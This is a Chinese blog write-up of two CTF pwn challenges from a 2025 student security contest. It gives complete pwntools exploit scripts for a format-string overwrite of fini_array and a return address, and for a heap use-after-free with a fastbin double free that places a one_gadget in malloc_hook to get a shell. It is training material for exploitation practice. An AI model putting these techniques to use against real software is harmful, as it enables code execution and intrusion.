2025年京津冀大学生信息安全网络攻防大赛-Pwn

本次比赛一共四道pwn题,分别是初赛2道,决赛2道,这里只有初赛的printf和决赛的lunch两道题的wp。

初赛

printf

有一次格式化字符串机会。

整体思路就是修改 fini_array 指向的地址为 main 函数并泄露出栈地址,这样程序能再次返回到 main 函数并得到一个栈地址,然后计算出这个栈地址到返回栈地址的偏移,最后修改返回栈地址为 backdoor 函数即可。这里着重强调一下格式化字符串写的特性,例如栈上有 a->b>c,那么我们只能通过 a 来修改 c;如果是 a->b,那么我们是无法通过 a 来写 b 的。

我们将 fini_array 指向的地址修改成 main,由于其指向的地址和 main 只有后两个字节不一样,所以我们只需要用 %hhn 写两个字节即可;由于 fini_array 在第 8 个位置(前面占用了 0x10 字节占用了 6 和 7 的位置),所以我们写 8 的位置即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')

main = 0x400BD6 & 0xffff
fini_array = 0x6B7150

def debug():
attach(p, 'b *0x400C25')

debug()
p.recvuntil("one printf\n")
payload = b'%' + str(main).encode() + b"c%8$hn"
payload = payload.ljust(0x10, b'\0')
payload += p64(fini_array)
p.send(payload)

p.interactive()

我们可以看到第 8 的位置( 2d80 结尾的栈地址)指向的是 fini_arrary,而 fini_array 指向的是 0x400af0

我们 ni 一下,可以看到 fini_arra 指向的地址已经变成了 main 函数,这样我们就完成了修改。

这样程序就回到了 main 函数

我们可以修改一下 payload,加上%9$p,这样就可以泄露出一个栈地址

1
2
3
4
5
6
payload = b'%' + str(main).encode() + b"c%8$hn" + b"%9$p"
payload = payload.ljust(0x10, b'\0')
payload += p64(fini_array)
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
success('stack:' + hex(stack))

接收到栈地址之后我们会将这个栈地址和返回栈地址做差得到一个偏移,但是我们做差的这个返回栈地址只是第一次程序执行时的返回栈地址,而第二次程序执行时的返回栈地址已经发生了改变

我们可以调试进入第二次程序执行,可以看到此时的返回栈地址是 7e68 结尾,那么我们做差之后得到的偏移是 0x190

最后我们将返回地址修改成 backdoor 函数

1
2
3
4
5
6
7
8
9
10
11
backdoor = 0x400BBF & 0xffff

ret = stack - 0x190
success('ret:' + hex(ret))

debug()
p.recvuntil("one printf\n")
payload = b'%' + str(backdoor).encode() + b"c%8$hn"
payload = payload.ljust(0x10, b'\0')
payload += p64(ret)
p.send(payload)

修改前,我们已经将返回栈地址写到了第 8 处

修改后,返回栈地址已经指向了 backdoor 函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
# p = remote('8.135.237.210', 49867)

main = 0x400BD6 & 0xffff
backdoor = 0x400BBF & 0xffff
fini_array = 0x6B7150

def debug():
attach(p, 'b *0x400C25')

# debug()
p.recvuntil("one printf\n")
payload = b'%' + str(main).encode() + b"c%8$hn" + b'%9$p'
payload = payload.ljust(0x10, b'\0')
payload += p64(fini_array)
p.send(payload)

p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
success('stack:' + hex(stack))
ret = stack - 0x190
success('ret:' + hex(ret))

# debug()
p.recvuntil("one printf\n")
payload = b'%' + str(backdoor).encode() + b"c%8$hn"
payload = payload.ljust(0x10, b'\0')
payload += p64(ret)
p.send(payload)

p.interactive()

决赛

lunch

这道题在比赛时并未做出,而是赛后复盘时做出的,在询问了一血的师傅后,exp是正确的,故按照思路写了wp。

这实际上是一个 UAF 题,只不过在泄露 libc 方面稍有不同。整体思路是向堆块中写入 got 地址,查看堆块可以将 libc 地址打印出来,然后通过 Fastbin Double Free 手法使得 fastbin 指向 malloc_hook-0x23 的位置,之后申请四次堆块即可将 malloc_hook 申请出来,这时写入 one_gadget 地址,malloc_hook 就被修改成了 one_gadget 地址,最后任意申请一个堆块即可 getshell。

main 函数,有四个选项,crea 函数创建、modify 函数修改、ver 函数查看、libera 函数删除,很明显是堆题

crea 函数创建堆块,但是大小限制在 0x70 以内

modify 函数可以修改堆块

ver 函数可以查看堆块

libera 函数中使用 free 函数释放堆块之后没有将指针置 0,因此存在 UAF 漏洞

在进行测试时发现使用 modify 函数输入字符 aaaa ,之后再使用 ver 函数会无法打印出来,问了 ai 之后,给出如下解释。基于这个解释其实我们可以直接用 modify 函数写入一个 got 表,之后调用 ver 函数可以直接打印 libc 函数。

我们先写好交互函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def add(index, size):
p.recvuntil('5.- Exit')
p.sendline(str(1).encode())
p.recvuntil('Enter the position of lunch')
p.sendline(str(index).encode())
p.recvuntil('Enter the size in kcal.')
p.sendline(str(size).encode())

def edit(index, data):
p.recvuntil('5.- Exit')
p.sendline(str(2).encode())
p.recvuntil('Introduce the menu to food')
p.sendline(str(index).encode())
p.recvuntil('Enter the food')
p.send(data)

def show(index):
p.recvuntil('5.- Exit')
p.sendline(str(3).encode())
p.recvuntil('Enter the lunch to see')
p.sendline(str(index).encode())

def delete(index):
p.recvuntil('5.- Exit')
p.sendline(str(4).encode())
p.recvuntil('Introduce the menu to delete')
p.sendline(str(index).encode())

接下来我们建三个堆块,编号分别为 0、1 和 2,然后我们向 0 号堆块写入 puts 函数的 got 表,再将 0 号堆块打印出来就可以泄露出 libc

1
2
3
4
5
6
add(0, 0x68)
add(1, 0x68)
add(2, 0x68)

edit(0, p64(puts_got))
show(0)

我们接收一下地址,再计算出 malloc_hook 的地址和 one_gadget 的地址

1
2
3
4
5
6
7
8
9
10
11
p.recvuntil(b'\n')
puts = u64(p.recv(6).ljust(8, b'\x00'))
success('puts:' + hex(puts))
libc_base = puts - libc.sym['puts']
success('libc_base:' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook:' + hex(malloc_hook))

# one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = libc_base + 0xf1147
success('one_gadget:' + hex(one))

现在我们先释放 0 号堆块再释放 1 号堆块,然后再次释放 0 号堆块,这样就可以使得 0 号堆块 fd 指向 1 号堆块,而 1 号堆块的 fd 又指向了 0 号堆块,即 0→1→0。当然如果我们连续释放两次 0 号堆块而不间隔的话就会造成一个 double free 错误,因此我们需要释放 1 号堆块加以间隔。

1
2
3
delete(0)
delete(1)
delete(0)

现在我们再申请一个堆块,就会将 0 号堆块申请回来,然后我们写入 malloc_hook-0x23

1
2
add(3, 0x68)
edit(3, p64(malloc_hook - 0x23))

我们再申请三次堆块,并在最后一次申请将 one_gadget 写入,这样 malloc_hook 就被改成了 one_gadget,之后再申请堆块就相当于调用 one_gadget 。

1
2
3
4
add(4, 0x68)
add(5, 0x68)
add(6, 0x68)
edit(6, b'a'*0x13 + p64(one))

最后我们任意申请堆块即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')

p = process('./pwn')
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
puts_got = elf.got['puts']

def add(index, size):
p.recvuntil('5.- Exit')
p.sendline(str(1).encode())
p.recvuntil('Enter the position of lunch')
p.sendline(str(index).encode())
p.recvuntil('Enter the size in kcal.')
p.sendline(str(size).encode())

def edit(index, data):
p.recvuntil('5.- Exit')
p.sendline(str(2).encode())
p.recvuntil('Introduce the menu to food')
p.sendline(str(index).encode())
p.recvuntil('Enter the food')
p.send(data)

def show(index):
p.recvuntil('5.- Exit')
p.sendline(str(3).encode())
p.recvuntil('Enter the lunch to see')
p.sendline(str(index).encode())

def delete(index):
p.recvuntil('5.- Exit')
p.sendline(str(4).encode())
p.recvuntil('Introduce the menu to delete')
p.sendline(str(index).encode())

# attach(p)
add(0, 0x68)
add(1, 0x68)
add(2, 0x68)

edit(0, p64(puts_got))
show(0)

p.recvuntil(b'\n')
puts = u64(p.recv(6).ljust(8, b'\x00'))
success('puts:' + hex(puts))
libc_base = puts - libc.sym['puts']
success('libc_base:' + hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
success('malloc_hook:' + hex(malloc_hook))

# one_gadgets = [0x4526a, 0xf02a4, 0xf1147]
one = libc_base + 0xf1147
success('one_gadget:' + hex(one))

delete(0)
delete(1)
delete(0)

add(3, 0x68)
edit(3, p64(malloc_hook - 0x23))

add(4, 0x68)
add(5, 0x68)
add(6, 0x68)
edit(6, b'a'*0x13 + p64(one))

add(7, 10)

p.interactive()

2025年京津冀大学生信息安全网络攻防大赛-Pwn
https://tsuk1ctf.github.io/post/2fcc4307.html
作者
Tsuk1
发布于
2025年10月14日
许可协议